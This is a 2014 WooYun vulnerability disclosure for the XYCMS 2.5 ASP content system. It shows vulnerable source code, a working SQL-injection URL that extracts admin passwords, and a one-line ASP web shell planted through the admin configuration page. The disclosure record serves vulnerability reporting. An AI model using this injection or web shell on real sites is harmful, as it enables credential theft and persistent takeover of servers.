当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076715

漏洞标题:XYCMS企业建站系统 2.5(注射&&后台配置插马)

相关厂商:XYCMS

漏洞作者: 宇少

提交时间:2014-09-22 11:30

修复时间:2014-12-21 11:32

公开时间:2014-12-21 11:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

前年她17岁,她看到我的IPad,说“姐夫,你的IPad不错嘛!”
她回去的时候,她姐姐把IPhone给她带上了。
去年她18岁,她看到我的IBM后,说“姐夫,你的IBM不错嘛!”
她回去的时候,她姐姐把IBM笔记本给她带上了。
今年她19岁,她看到我后,害羞的说:“姐夫,其实你这人挺不错的”
我在等她姐姐发话。

详细说明:

#1 存在注入漏洞文件:
news_detail.asp 1-14行

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<!--#include file="xyconn.asp"-->
<!--#include file="inc/config.asp"-->
<!--#include file="inc/xycms.asp"-->
<%
id=request.QueryString("id")
set rs=server.createobject("adodb.recordset")
exec="select * from [news] where id="& id
rs.open exec,conn,1,1
if rs.eof then
response.Write "<div style=""padding:10px"">无此新闻信息!</a>"
response.End()
end if
%>


id没过滤进入查询
同样的问题:common.asp pro.asp news.asp pro_detail.asp

漏洞证明:

注入利用exp:
http://192.168.0.112/news_detail.asp?id=59%20union%20select%201,2,3,password,5,6,7,8,9,10,11,12%20from%20admin_user

1.jpg


#2 后台配置文件插马
进入后台系统设置:随便一处插入"%><%execute(Request(chr(112)))%><%'" 密码:p

1.jpg


之后连接文件:http://domain/inc/config.asp

1.jpg

/inc/config.asp

修复方案:

#1 你懂的!

版权声明:转载请注明来源 宇少@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝